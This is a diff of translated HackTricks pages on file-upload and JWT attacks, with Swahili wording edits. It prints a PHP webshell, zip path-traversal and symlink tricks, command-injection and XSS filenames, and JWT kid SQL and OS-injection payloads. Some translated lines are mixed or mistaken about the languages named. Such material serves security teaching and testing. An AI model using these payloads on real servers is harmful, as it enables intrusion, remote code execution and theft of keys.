Ikiwa unaweza kupakia faili ya XML kwenye seva ya Jetty unaweza kupata [RCE kwa sababu **mpya \*.xml na \*.war zinashughulikiwa moja kwa moja**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Hivyo, kama ilivyotajwa katika picha ifuatayo, pakia faili ya XML kwenye `$JETTY_BASE/webapps/` na subiri shell!
|
||||
|
||||
.png>)
|
||||
|
||||
|
@ -125,7 +125,7 @@ Ikiwa unaweza kupakia faili ya XML kwenye seva ya Jetty unaweza kupata [RCE kwa
|
|||
|
||||
Kwa uchambuzi wa kina wa udhaifu huu angalia utafiti wa asili: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
|
||||
|
||||
Udhaifu wa Remote Command Execution (RCE) unaweza kutumiwa katika seva za uWSGI ikiwa mtu ana uwezo wa kubadilisha faili ya usanidi ya `.ini`. Faili za usanidi za uWSGI zinatumia sintaksia maalum kuingiza "michanganyiko" ya mabadiliko, nafasi, na waendeshaji. Kwa hakika, waendeshaji '@', wanaotumiwa kama `@(filename)`, wameundwa kuingiza maudhui ya faili. Miongoni mwa mipango mbalimbali inayoungwa mkono katika uWSGI, mpango wa "exec" ni wenye nguvu, ukiruhusu kusoma data kutoka kwa pato la kawaida la mchakato. Kipengele hiki kinaweza kutumiwa kwa madhumuni mabaya kama Remote Command Execution au Arbitrary File Write/Read wakati faili ya usanidi ya `.ini` inashughulikiwa.
|
||||
Udhaifu wa Remote Command Execution (RCE) unaweza kutumika katika seva za uWSGI ikiwa mtu ana uwezo wa kubadilisha faili ya usanidi ya `.ini`. Faili za usanidi za uWSGI zinatumia sintaksia maalum kuingiza "michanganyiko" ya mabadiliko, nafasi, na waendeshaji. Kwa hakika, waendeshaji '@', wanaotumika kama `@(filename)`, wameundwa kuingiza maudhui ya faili. Kati ya mipango mbalimbali inayoungwa mkono katika uWSGI, mpango wa "exec" ni wenye nguvu, ukiruhusu kusoma data kutoka kwa pato la kawaida la mchakato. Kipengele hiki kinaweza kudanganywa kwa madhumuni mabaya kama Remote Command Execution au Arbitrary File Write/Read wakati faili ya usanidi ya `.ini` inashughulikiwa.
|
||||
|
||||
Fikiria mfano ufuatao wa faili hatari ya `uwsgi.ini`, ikionyesha mipango mbalimbali:
|
||||
```ini
|
||||
|
@ -147,12 +147,12 @@ characters = @(call://uwsgi_func)
|
|||
```
|
||||
The execution of the payload occurs during the parsing of the configuration file. For the configuration to be activated and parsed, the uWSGI process must either be restarted (potentially after a crash or due to a Denial of Service attack) or the file must be set to auto-reload. The auto-reload feature, if enabled, reloads the file at specified intervals upon detecting changes.
|
||||
|
||||
It's crucial to understand the lax nature of uWSGI's configuration file parsing. Specifically, the discussed payload can be inserted into a binary file (such as an image or PDF), further broadening the scope of potential exploitation.
|
||||
Ni muhimu kuelewa tabia ya kulegeza ya uchambuzi wa faili ya usanidi ya uWSGI. Kwa haswa, payload iliyozungumziwa inaweza kuingizwa kwenye faili ya binary (kama picha au PDF), ikipanua zaidi wigo wa uwezekano wa unyakuzi.
|
||||
|
||||
## **wget File Upload/SSRF Trick**
|
||||
|
||||
In some occasions you may find that a server is using **`wget`** to **download files** and you can **indicate** the **URL**. In these cases, the code may be checking that the extension of the downloaded files is inside a whitelist to assure that only allowed files are going to be downloaded. However, **this check can be bypassed.**\
|
||||
The **maximum** length of a **filename** in **linux** is **255**, however, **wget** truncate the filenames to **236** characters. You can **download a file called "A"\*232+".php"+".gif"**, this filename will **bypass** the **check** (as in this example **".gif"** is a **valid** extension) but `wget` will **rename** the file to **"A"\*232+".php"**.
|
||||
Katika baadhi ya matukio unaweza kupata kwamba seva inatumia **`wget`** ili **kupakua faili** na unaweza **kuashiria** **URL**. Katika matukio haya, msimbo unaweza kuwa unakagua kwamba kiambatisho cha faili zilizopakuliwa kiko ndani ya orodha ya ruhusa ili kuhakikisha kwamba faili tu zilizoruhusiwa zitapakuliwa. Hata hivyo, **ukaguzi huu unaweza kupuuziliwa mbali.**\
|
||||
Urefu **wa juu** wa **jina la faili** katika **linux** ni **255**, hata hivyo, **wget** inakata majina ya faili hadi **236** herufi. Unaweza **kupakua faili inayoitwa "A"\*232+".php"+".gif"**, jina hili la faili litakuwa **bypass** **ukaguzi** (kama katika mfano huu **".gif"** ni kiambatisho **halali**) lakini `wget` itabadilisha jina la faili kuwa **"A"\*232+".php"**.
|
||||
```bash
|
||||
#Create file and HTTP server
|
||||
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
|
||||
|
@ -175,7 +175,7 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
|
|||
|
||||
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
|
||||
```
|
||||
Note that **chaguo kingine** unachoweza kufikiria ili kupita ukaguzi huu ni kufanya **seva ya HTTP irejeleze faili tofauti**, hivyo URL ya awali itapita ukaguzi na kisha wget itashusha faili iliyoelekezwa kwa jina jipya. Hii **haitafanya kazi** **isipokuwa** wget inatumika na **parameta** `--trust-server-names` kwa sababu **wget itashusha ukurasa ulioelekezwa kwa jina la faili lililoonyeshwa katika URL ya awali**.
|
||||
Note that **chaguo kingine** unachoweza kufikiria ili kupita ukaguzi huu ni kufanya **seva ya HTTP irejelee faili tofauti**, hivyo URL ya awali itapita ukaguzi na kisha wget itashusha faili lililorejelewa kwa jina jipya. Hii **haitafanya kazi** **isipokuwa** wget inatumika na **parameta** `--trust-server-names` kwa sababu **wget itashusha ukurasa ulioelekezwa kwa jina la faili lililoonyeshwa katika URL ya awali**.
|
||||
|
||||
## Zana
|
||||
|
||||
|
@ -188,18 +188,18 @@ Note that **chaguo kingine** unachoweza kufikiria ili kupita ukaguzi huu ni kufa
|
|||
* Weka **jina la faili** kuwa `<svg onload=alert(document.domain)>` ili kufikia XSS
|
||||
* Weka **jina la faili** kuwa `; sleep 10;` ili kupima baadhi ya injection ya amri (zaidi ya [mbinu za injection za amri hapa](../command-injection.md))
|
||||
* [**XSS** katika picha (svg) ya kupakia faili](../xss-cross-site-scripting/#xss-uploading-files-svg)
|
||||
* **JS** faili **kupakia** + **XSS** = [**Huduma Wafanyakazi** unyakuzi](../xss-cross-site-scripting/#xss-abusing-service-workers)
|
||||
* **JS** faili **kupakia** + **XSS** = [**Service Workers** exploitation](../xss-cross-site-scripting/#xss-abusing-service-workers)
|
||||
* [**XXE katika kupakia svg**](../xxe-xee-xml-external-entity.md#svg-file-upload)
|
||||
* [**Open Redirect** kupitia kupakia faili ya svg](../open-redirect.md#open-redirect-uploading-svg-files)
|
||||
* [**Open Redirect** kupitia kupakia faili la svg](../open-redirect.md#open-redirect-uploading-svg-files)
|
||||
* Jaribu **payloads tofauti za svg** kutoka [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\*
|
||||
* [Udhaifu maarufu wa **ImageTrick**](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
|
||||
* Ikiwa unaweza **kuonyesha seva ya wavuti kukamata picha kutoka URL** unaweza kujaribu kutumia [SSRF](../ssrf-server-side-request-forgery/). Ikiwa **picha** hii itahifadhiwa katika tovuti **ya umma**, unaweza pia kuonyesha URL kutoka [https://iplogger.org/invisible/](https://iplogger.org/invisible/) na **kuiba taarifa za kila mtembezi**.
|
||||
* [**XXE na CORS** kupita na PDF-Adobe kupakia](pdf-upload-xxe-and-cors-bypass.md)
|
||||
* PDFs zilizoundwa kwa makini kwa XSS: [ukurasa ufuatao unaonyesha jinsi ya **kuingiza data za PDF ili kupata utekelezaji wa JS**](../xss-cross-site-scripting/pdf-injection.md). Ikiwa unaweza kupakia PDFs unaweza kuandaa PDF ambayo itatekeleza JS isiyo na mipaka kufuata maelekezo yaliyotolewa.
|
||||
* [**XXE na CORS** bypass na PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md)
|
||||
* PDFs zilizoundwa kwa makini kwa XSS: [ukurasa ufuatao unaonyesha jinsi ya **kuingiza data za PDF ili kupata utekelezaji wa JS**](../xss-cross-site-scripting/pdf-injection.md). Ikiwa unaweza kupakia PDFs unaweza kuandaa PDF ambazo zitatekeleza JS zisizo za kawaida kufuatia maelekezo yaliyotolewa.
|
||||
* Pakia maudhui ya \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) ili kuangalia ikiwa seva ina **antivirus**
|
||||
* Angalia ikiwa kuna **kikomo cha ukubwa** katika kupakia faili
|
||||
|
||||
Hapa kuna orodha ya juu 10 ya mambo ambayo unaweza kufikia kwa kupakia (kutoka [hapa](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
|
||||
Hapa kuna orodha ya mambo 10 unayoweza kufikia kwa kupakia (kutoka [hapa](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
|
||||
|
||||
1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
|
||||
2. **SVG**: Stored XSS / SSRF / XXE
|
||||
|
@ -223,13 +223,13 @@ Hapa kuna orodha ya juu 10 ya mambo ambayo unaweza kufikia kwa kupakia (kutoka [
|
|||
|
||||
Rejelea [https://en.wikipedia.org/wiki/List\_of\_file\_signatures](https://en.wikipedia.org/wiki/List\_of\_file\_signatures) kwa aina nyingine za faili.
|
||||
|
||||
### Zip/Tar Faili Zilizopakiwa Zitaondolewa Kiotomatiki
|
||||
### Zip/Tar Faili Inayopakiwa Kiotomatiki
|
||||
|
||||
Ikiwa unaweza kupakia ZIP ambayo itakuaondolewa ndani ya seva, unaweza kufanya mambo 2:
|
||||
Ikiwa unaweza kupakia ZIP ambayo itakua ikitolewa ndani ya seva, unaweza kufanya mambo 2:
|
||||
|
||||
#### Symlink
|
||||
|
||||
Pakia kiungo kinachojumuisha viungo laini kwa faili nyingine, kisha, ukifika kwenye faili zilizondolewa utapata faili zilizounganishwa:
|
||||
Pakia kiungo kinachokuwa na viungo vya laini kwa faili nyingine, kisha, ukifika kwenye faili zilizotolewa utaweza kufikia faili zilizounganishwa:
|
||||
```
|
||||
ln -s ../../../index.php symindex.txt
|
||||
zip --symlinks test.zip symindex.txt
|
||||
|
@ -248,7 +248,7 @@ python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
|
|||
```
|
||||
Zaidi ya hayo, **symlink trick with evilarc** ni chaguo. Ikiwa lengo ni kulenga faili kama `/flag.txt`, symlink kwa faili hiyo inapaswa kuundwa katika mfumo wako. Hii inahakikisha kwamba evilarc haikabiliwi na makosa wakati wa operesheni yake.
|
||||
|
||||
Hapa kuna mfano wa msimbo wa Python unaotumika kuunda faili la zip la uhalifu:
|
||||
Hapa chini kuna mfano wa msimbo wa Python unaotumika kuunda faili la zip la uhalifu:
|
||||
```python
|
||||
#!/usr/bin/python
|
||||
import zipfile
|
||||
|
@ -266,7 +266,7 @@ zip.close()
|
|||
|
||||
create_zip()
|
||||
```
|
||||
**Kukandamiza ushirikishaji kwa ajili ya kupiga picha za faili**
|
||||
**Kukandamiza ushirikishaji kwa ajili ya kueneza faili**
|
||||
|
||||
Kwa maelezo zaidi **angalia chapisho la asili katika**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
|
||||
|
||||
|
@ -279,7 +279,7 @@ $cmd = ($_REQUEST['cmd']);
|
|||
system($cmd);
|
||||
}?>
|
||||
```
|
||||
2. **Kupiga picha za faili na Kuunda Faili Zilizoshinikizwa**: Faili nyingi zinaandaliwa na archive ya zip inakusanywa ikijumuisha faili hizi.
|
||||
2. **Kueneza Faili na Kuunda Faili Zilizoshinikizwa**: Faili nyingi zinaandaliwa na archive ya zip inakusanywa ikijumuisha faili hizi.
|
||||
|
||||
```bash
|
||||
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
|
||||
|
@ -295,7 +295,7 @@ root@s2crew:/tmp# zip cmd.zip xx*.php
|
|||
|
||||
## ImageTragic
|
||||
|
||||
Pakia maudhui haya yenye kiendelezi cha picha ili kutumia udhaifu **(ImageMagick , 7.0.1-1)** (fanya kutoka [exploit](https://www.exploit-db.com/exploits/39767))
|
||||
Pakia maudhui haya yenye kiambatisho cha picha ili kutumia udhaifu **(ImageMagick , 7.0.1-1)** (fanya kutoka [exploit](https://www.exploit-db.com/exploits/39767))
|
||||
```
|
||||
push graphic-context
|
||||
viewbox 0 0 640 480
|
||||
|
@ -304,19 +304,19 @@ pop graphic-context
|
|||
```
|
||||
## Kuunganisha PHP Shell kwenye PNG
|
||||
|
||||
Kuunganisha PHP shell katika IDAT chunk ya faili ya PNG kunaweza kupita kwa ufanisi operesheni fulani za usindikaji wa picha. Kazi za `imagecopyresized` na `imagecopyresampled` kutoka PHP-GD ni muhimu katika muktadha huu, kwani hutumiwa mara nyingi kwa ajili ya kubadilisha saizi na kusampuli picha, mtawalia. Uwezo wa PHP shell iliyounganishwa kubaki bila kuathiriwa na operesheni hizi ni faida kubwa kwa matumizi fulani.
|
||||
Kuunganisha PHP shell katika IDAT chunk ya faili ya PNG kunaweza kupita kwa ufanisi operesheni fulani za usindikaji wa picha. Kazi za `imagecopyresized` na `imagecopyresampled` kutoka PHP-GD ni muhimu katika muktadha huu, kwani hutumiwa mara nyingi kwa ajili ya kubadilisha ukubwa na kusampuli picha, mtawalia. Uwezo wa PHP shell iliyounganishwa kubaki bila kuathiriwa na operesheni hizi ni faida kubwa kwa matumizi fulani.
|
||||
|
||||
Uchunguzi wa kina wa mbinu hii, ikiwa ni pamoja na mbinu zake na matumizi yanayoweza, unapatikana katika makala ifuatayo: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Rasilimali hii inatoa ufahamu wa kina wa mchakato na athari zake.
|
||||
Uchunguzi wa kina wa mbinu hii, ikiwa ni pamoja na mbinu zake na matumizi yake yanayoweza, unapatikana katika makala ifuatayo: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Rasilimali hii inatoa ufahamu wa kina wa mchakato na athari zake.
|
||||
|
||||
Maelezo zaidi katika: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||
|
||||
## Faili za Polyglot
|
||||
|
||||
Faili za polyglot hutumikia kama chombo cha kipekee katika usalama wa mtandao, zikifanya kazi kama chameleons ambazo zinaweza kuwepo kwa halali katika muundo wa faili mbalimbali kwa wakati mmoja. Mfano wa kuvutia ni [GIFAR](https://en.wikipedia.org/wiki/Gifar), mchanganyiko unaofanya kazi kama GIF na RAR archive. Faili kama hizi hazijazuiliwa kwa mchanganyiko huu; mchanganyiko kama GIF na JS au PPT na JS pia yanaweza.
|
||||
Faili za polyglot hutumikia kama chombo cha kipekee katika usalama wa mtandao, zikifanya kazi kama chameleons ambazo zinaweza kuwepo kwa halali katika muundo wa faili mbalimbali kwa wakati mmoja. Mfano wa kuvutia ni [GIFAR](https://en.wikipedia.org/wiki/Gifar), mchanganyiko unaofanya kazi kama GIF na archive ya RAR. Faili kama hizi hazijazuiliwa kwa mchanganyiko huu; mchanganyiko kama GIF na JS au PPT na JS pia yanaweza.
|
||||
|
||||
Faida kuu ya faili za polyglot inategemea uwezo wao wa kupita hatua za usalama ambazo zinachuja faili kulingana na aina. Utaratibu wa kawaida katika programu mbalimbali unajumuisha kuruhusu aina fulani tu za faili kupakiwa—kama JPEG, GIF, au DOC—ili kupunguza hatari inayoweza kutokea kutokana na muundo hatari (k.m., JS, PHP, au faili za Phar). Hata hivyo, polyglot, kwa kuzingatia vigezo vya muundo wa aina nyingi za faili, inaweza kupita kwa siri vizuizi hivi.
|
||||
|
||||
Licha ya uwezo wao wa kubadilika, polyglots wanakutana na vikwazo. Kwa mfano, wakati polyglot inaweza kuwakilisha faili ya PHAR (PHp ARchive) na JPEG kwa wakati mmoja, mafanikio ya kupakia kwake yanaweza kutegemea sera za upanuzi wa faili za jukwaa. Ikiwa mfumo ni mkali kuhusu upanuzi unaoruhusiwa, muundo wa polyglot peke yake huenda usitoshe kuhakikisha kupakia kwake.
|
||||
Licha ya uwezo wao wa kubadilika, polyglots wanakutana na vikwazo. Kwa mfano, wakati polyglot inaweza kuwa na faili ya PHAR (PHp ARchive) na JPEG kwa wakati mmoja, mafanikio ya kupakia kwake yanaweza kutegemea sera za upanuzi wa faili za jukwaa. Ikiwa mfumo unakuwa mkali kuhusu upanuzi unaoruhusiwa, muundo wa polyglot unaweza usitoshe kuhakikisha kupakia kwake.
|
||||
|
||||
Maelezo zaidi katika: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
|
||||
|
@ -329,23 +329,23 @@ Maelezo zaidi katika: [https://medium.com/swlh/polyglot-files-a-hackers-best-fri
|
|||
* [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||
* [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Ikiwa unavutiwa na **hacking career** na kuhack yasiyoweza kuhack - **tunatafuta wafanyakazi!** (_kuandika na kuzungumza kwa ufasaha Kiswahili kunahitajika_).
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# JWT Vulnerabilities (Json Web Tokens)
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -15,9 +15,9 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_kuandika na kuzungumza kwa ufasaha kwa Kihpolandi kunahitajika_).
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_kuandika na kuzungumza kwa ufasaha kwa Kiholanzi kunahitajika_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -69,7 +69,7 @@ Check if the token lasts more than 24h... maybe it never expires. If there is a
|
|||
|
||||
[**See this page.**](../generic-methodologies-and-resources/brute-force.md#jwt)
|
||||
|
||||
### Badilisha algorithmu kuwa Hakuna
|
||||
### Badilisha algorithmu kuwa None
|
||||
|
||||
Set the algorithm used as "None" and remove the signature part.
|
||||
|
||||
|
@ -102,7 +102,7 @@ Maelekezo yanaelezea njia ya kutathmini usalama wa JWT tokens, hasa zile zinazot
|
|||
* Thibitisha URL ya dhamira "jku" ili kuhakikisha inapeleka kwenye faili sahihi ya JWKS.
|
||||
* Badilisha thamani ya "jku" ya token ili kuelekeza kwenye huduma ya wavuti inayodhibitiwa, kuruhusu ufuatiliaji wa trafiki.
|
||||
* **Kufuatilia Maingiliano ya HTTP**:
|
||||
* Kuangalia maombi ya HTTP kwenye URL yako iliyotolewa kunaonyesha juhudi za seva za kupata funguo kutoka kwenye kiungo chako kilichotolewa.
|
||||
* Kuangalia maombi ya HTTP kwenye URL yako iliyotolewa kunaonyesha juhudi za seva kupata funguo kutoka kiungo chako kilichotolewa.
|
||||
* Unapokuwa unatumia `jwt_tool` kwa mchakato huu, ni muhimu kuboresha faili ya `jwtconf.ini` na eneo lako la JWKS binafsi ili kuwezesha majaribio.
|
||||
* **Amri kwa `jwt_tool`**:
|
||||
* Tekeleza amri ifuatayo ili kuiga hali hiyo na `jwt_tool`:
|
||||
|
@ -121,7 +121,7 @@ Wakati dhamira ya `kid` inapatikana kwenye kichwa, inashauriwa kutafuta kwenye d
|
|||
|
||||
#### Path Traversal with "kid"
|
||||
|
||||
Dhamira ya `kid` inaweza pia kutumika vibaya kuzunguka mfumo wa faili, ikiruhusu kuchaguliwa kwa faili yoyote. Inawezekana kujaribu kuunganishwa au kutekeleza mashambulizi ya Server-Side Request Forgery (SSRF) kwa kubadilisha thamani ya `kid` ili kulenga faili au huduma maalum. Kubadilisha JWT ili kubadilisha thamani ya `kid` huku ukihifadhi saini ya awali kunaweza kufanywa kwa kutumia bendera `-T` katika jwt\_tool, kama inavyoonyeshwa hapa chini:
|
||||
Dhamira ya `kid` inaweza pia kutumika vibaya kuzunguka mfumo wa faili, ikiruhusu kuchagua faili yoyote. Inawezekana kujaribu kuunganishwa au kutekeleza mashambulizi ya Server-Side Request Forgery (SSRF) kwa kubadilisha thamani ya `kid` ili kulenga faili au huduma maalum. Kubadilisha JWT ili kubadilisha thamani ya `kid` huku ukihifadhi saini ya awali kunaweza kufanywa kwa kutumia bendera `-T` katika jwt\_tool, kama inavyoonyeshwa hapa chini:
|
||||
```bash
|
||||
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
|
||||
```
|
||||
|
@ -129,7 +129,7 @@ Kwa kulenga faili zenye maudhui yanayoweza kutabirika, inawezekana kutengeneza J
|
|||
|
||||
#### SQL Injection kupitia "kid"
|
||||
|
||||
Ikiwa maudhui ya dai la `kid` yanatumika kupata nenosiri kutoka kwenye hifadhidata, kuingiza SQL kunaweza kuwezesha kwa kubadilisha payload ya `kid`. Mfano wa payload inayotumia SQL injection kubadilisha mchakato wa kusaini JWT ni:
|
||||
Ikiwa maudhui ya dai la `kid` yanatumika kupata nenosiri kutoka kwenye hifadhidata, kuingilia kati kwa SQL kunaweza kuwezesha kwa kubadilisha payload ya `kid`. Mfano wa payload inayotumia SQL injection kubadilisha mchakato wa kusaini JWT ni:
|
||||
|
||||
`non-existent-index' UNION SELECT 'ATTACKER';-- -`
|
||||
|
||||
|
@ -137,7 +137,7 @@ Mabadiliko haya yanawalazimisha kutumia funguo ya siri inayojulikana, `ATTACKER`
|
|||
|
||||
#### OS Injection kupitia "kid"
|
||||
|
||||
Hali ambapo parameter ya `kid` inaelekeza kwenye njia ya faili inayotumika ndani ya muktadha wa utekelezaji wa amri inaweza kusababisha udhaifu wa Remote Code Execution (RCE). Kwa kuingiza amri kwenye parameter ya `kid`, inawezekana kufichua funguo za faragha. Mfano wa payload kwa ajili ya kufikia RCE na ufichuzi wa funguo ni:
|
||||
Hali ambapo parameter ya `kid` inaelekeza kwenye njia ya faili inayotumika ndani ya muktadha wa utekelezaji wa amri inaweza kusababisha udhaifu wa Remote Code Execution (RCE). Kwa kuingiza amri katika parameter ya `kid`, inawezekana kufichua funguo za faragha. Mfano wa payload kwa ajili ya kufikia RCE na ufichuzi wa funguo ni:
|
||||
|
||||
`/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&`
|
||||
|
||||
|
@ -167,9 +167,9 @@ print("e:", hex(key.e))
|
|||
```
|
||||
#### x5u
|
||||
|
||||
X.509 URL. URI inayopointia seti ya vyeti vya umma vya X.509 (kiwango cha muundo wa cheti) vilivyoandikwa kwa mfumo wa PEM. Cheti cha kwanza katika seti lazima kiwe kile kinachotumika kusaini JWT hii. Vyeti vinavyofuata kila kimoja husaini kile kilichopita, hivyo kukamilisha mnyororo wa vyeti. X.509 imefafanuliwa katika RFC 52807. Usalama wa usafirishaji unahitajika kuhamasisha vyeti.
|
||||
X.509 URL. URI inayopointia seti ya X.509 (kiwango cha muundo wa cheti) vyeti vya umma vilivyoandikwa kwa mfumo wa PEM. Cheti cha kwanza katika seti lazima kiwe kile kinachotumika kusaini JWT hii. Vyeti vinavyofuata kila kimoja husaini kile kilichopita, hivyo kukamilisha mnyororo wa vyeti. X.509 imefafanuliwa katika RFC 52807. Usalama wa usafirishaji unahitajika kuhamasisha vyeti.
|
||||
|
||||
Jaribu **kubadilisha kichwa hiki kuwa URL chini ya udhibiti wako** na kuangalia kama ombi lolote linapokelewa. Katika hali hiyo **unaweza kubadilisha JWT**.
|
||||
Jaribu **kubadilisha kichwa hiki kuwa URL chini ya udhibiti wako** na kuangalia kama ombi lolote linapokelewa. Katika hali hiyo, **unaweza kuingilia JWT**.
|
||||
|
||||
Ili kutunga token mpya kwa kutumia cheti kinachodhibitiwa na wewe, unahitaji kuunda cheti na kutoa funguo za umma na za faragha:
|
||||
```bash
|
||||
|
@ -180,7 +180,7 @@ Kisha unaweza kutumia kwa mfano [**jwt.io**](https://jwt.io) kuunda JWT mpya na
|
|||
|
||||
.png>)
|
||||
|
||||
Pia unaweza kutumia udhaifu hizi **kwa SSRFs**.
|
||||
Pia unaweza kutumia udhaifu huu **kwa SSRFs**.
|
||||
|
||||
#### x5c
|
||||
|
||||
|
@ -188,7 +188,7 @@ Parameter hii inaweza kuwa na **cheti katika base64**:
|
|||
|
||||
.png>)
|
||||
|
||||
Ikiwa mshambuliaji **anazalisha cheti kilichojisaini mwenyewe** na kuunda token iliyofanywa kwa kutumia funguo za faragha zinazohusiana na kubadilisha thamani ya parameter "x5c" na cheti kipya kilichozalishwa na kubadilisha parameta zingine, yaani n, e na x5t basi kimsingi token iliyofanywa itakubaliwa na seva.
|
||||
